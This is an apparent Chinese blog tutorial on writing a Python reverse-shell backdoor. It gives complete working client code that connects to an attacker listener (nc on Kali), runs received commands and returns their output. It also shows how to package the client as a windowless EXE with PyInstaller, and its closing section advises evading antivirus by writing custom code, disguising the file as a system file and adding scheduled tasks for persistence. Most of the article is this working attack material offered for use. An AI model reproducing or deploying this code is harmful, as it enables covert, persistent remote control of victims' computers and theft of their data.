Python实现简易远程控制终端:从原理到打包部署

小林子
小林子
发布时间:2026-10-12 | 2人浏览过
原创

本文详解如何使用Python结合Socket模块构建一个简易的远程控制终端。内容涵盖服务端与客户端的消息交互原理、核心代码实现、基于PyInstaller将脚本打包为EXE文件的方法,以及通过伪装文件名和计划任务实现权限维持的策略。旨在帮助读者理解远控程序的基本运作机制及特征规避思路。

理解远程控制终端的核心逻辑

首先,服务端(通常指控制方)通过Socket连接向客户端(被控方)发送指令消息。

其次,客户端接收并解析这些消息,将其视为系统命令并在本地执行。

最后,客户端将命令执行后的输出结果通过相同的Socket连接回传至服务端,由服务端展示执行结果。

使用Python开发简易远控终端

开发环境配置

本教程使用的开发环境为PyCharm 2021.1.1 x64版本,Python解释器版本为3.8。

项目初始化步骤

启动PyCharm,选择创建一个纯Python项目。

进入项目后,清空main.py文件中的所有默认代码,准备编写新程序。

程序代码编写流程

第一步,导入程序运行所需的依赖库。

# 导入所需要的包
import os
from socket import *

第二步,定义main函数并初始化Socket套接字的相关参数。

#导入所需要的包
......


if __name__ == '__main__':
    # 1、服务端IP地址
    IP = "192.168.6.142"
    # 2、服务端监听的端口PORT
    PORT = 9999
    # 3、socket套接字
    socket_info = (IP, PORT)

第三步,编写建立网络连接的方法。

#导入所需要的包
......

def remote_control(info):
    # 初始化socket连接
    skt = socket(AF_INET, SOCK_STREAM)
    skt.connect(info)
    # 获得客户端角色,便于服务端执行下一步操作
    host = os.popen("whoami").read().strip()
    # 将客户端角色在每次输入命令的都显示,美化格式
    tips = f"$({host}) "
    skt.send(tips.encode())


if __name__ == '__main__':
    ......
	# 4、连接
    remote_control(socket_info)

第四步,实现接收服务端发送数据(即命令)的逻辑。

# 导入所需要的包
......


def remote_control(info):
    # 初始化socket连接
    ......
    skt.send(tips.encode())
    
    # 建立持续连接
    while True:
        # 接收服务端传入的数据(即命令),以1024个bit为一个单位
        data = skt.recv(1024)
        # 将接收的数据进行utf-8解码,并将左右空格去除
        command = data.decode('utf-8').strip()
        # 如果数据为exit,代表服务端想要断开连接,直接退出程序
        if command == 'exit':
            skt.send("exit\n".encode())
            exit(0)


if __name__ == '__main__':
    ......

第五步,执行接收到的命令,并将执行结果返回给服务端。

# 导入所需要的包
......


def remote_control(info):
    # 初始化socket连接
    ......
    skt.send(tips.encode())
    # 建立持续连接
    while True:
        # 接收服务端传入的数据(即命令),以1024个bit为一个单位
        ......
        if command == 'exit':
            ......
        # 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
        result = os.popen(command).read()
        # 将命令执行的结果返回给服务端
        skt.send((result + tips).encode())
    # 关闭socket连接
    skt.close()


if __name__ == '__main__':
    ......

至此,核心代码编写完毕。

验证远控终端功能

准备一台Kali Linux虚拟机作为服务端,其IP地址设置为192.168.6.142,并使用nc命令监听9999端口。

测试连接成功,表明简易远控终端制作完成。

将Python脚本打包为EXE可执行文件

首先,使用pip工具安装PyInstaller模块。

按下Win+R键打开运行窗口,输入cmd并回车以打开命令提示符。

pip install Pyinstaller

在命令行中,将当前路径切换至包含Python源文件的目录。

cd 文件路径

执行打包命令,将Python文件转换为EXE格式。

Pyinstaller -F -w 文件名.py

若显示打包成功,则说明转换完成。

打包完成后,在源文件同级目录下会生成一个dist文件夹,生成的EXE文件即位于该文件夹内。

测试EXE文件的运行效果

在Kali服务端保持端口监听状态。

双击运行生成的EXE文件。

若连接成功,则证明Python制作的远程控制终端功能正常。

制作远控终端的实际意义

本文探讨了Python制作简易远控终端的方法,此前也有文章介绍过Java版本的实现。实际上,这类程序本质上属于后门程序。既然CS(Cobalt Strike)和MSF(Metasploit Framework)等工具能生成后门,为何还要手动编写?

主要原因在于:第一,通过手动编写可以深入理解远控程序的底层原理;第二,商业或开源工具生成的后门特征明显,极易被杀毒软件识别并查杀,即使暂时未被查杀,也可能在数天内被更新特征库后清除,难以实现持续的权限获取(即权限维持)。而自行编写的后门程序未公开,杀毒软件无法匹配其特征值,从而降低被查杀的风险。此外,若将后门程序重命名为系统文件名、修改图标,并将其添加到系统计划任务中,即可实现更稳定的权限维持。

完整代码附录

# 导入所需要的包
import os
from socket import *


def remote_control(info):
    # 初始化socket连接
    skt = socket(AF_INET, SOCK_STREAM)
    skt.connect(info)
    # 获得客户端角色,便于服务端执行下一步操作
    host = os.popen("whoami").read().strip()
    # 将客户端角色在每次输入命令的都显示,美化格式
    tips = f"$({host}) "
    skt.send(tips.encode())
    # 建立持续连接
    while True:
        # 接收服务端传入的数据(即命令),以1024个bit为一个单位
        data = skt.recv(1024)
        # 将接收的数据进行utf-8解码,并将左右空格去除
        command = data.decode('utf-8').strip()
        # 如果数据为exit,代表服务端想要断开连接,直接退出程序
        if command == 'exit':
            skt.send("exit\n".encode())
            exit(0)
        # 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
        result = os.popen(command).read()
        # 将命令执行的结果返回给服务端
        skt.send((result + tips).encode())
    # 关闭socket连接
    skt.close()


if __name__ == '__main__':
    # 1、服务端IP地址
    IP = "192.168.6.142"
    # 2、服务端监听的端口PORT
    PORT = 9999
    # 3、socket套接字
    socket_info = (IP, PORT)
    # 4、连接
    remote_control(socket_info)

以上即为使用Python制作简易远控终端的完整解析,更多Python相关技术文章请持续关注本站后续更新。

相关标签:

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表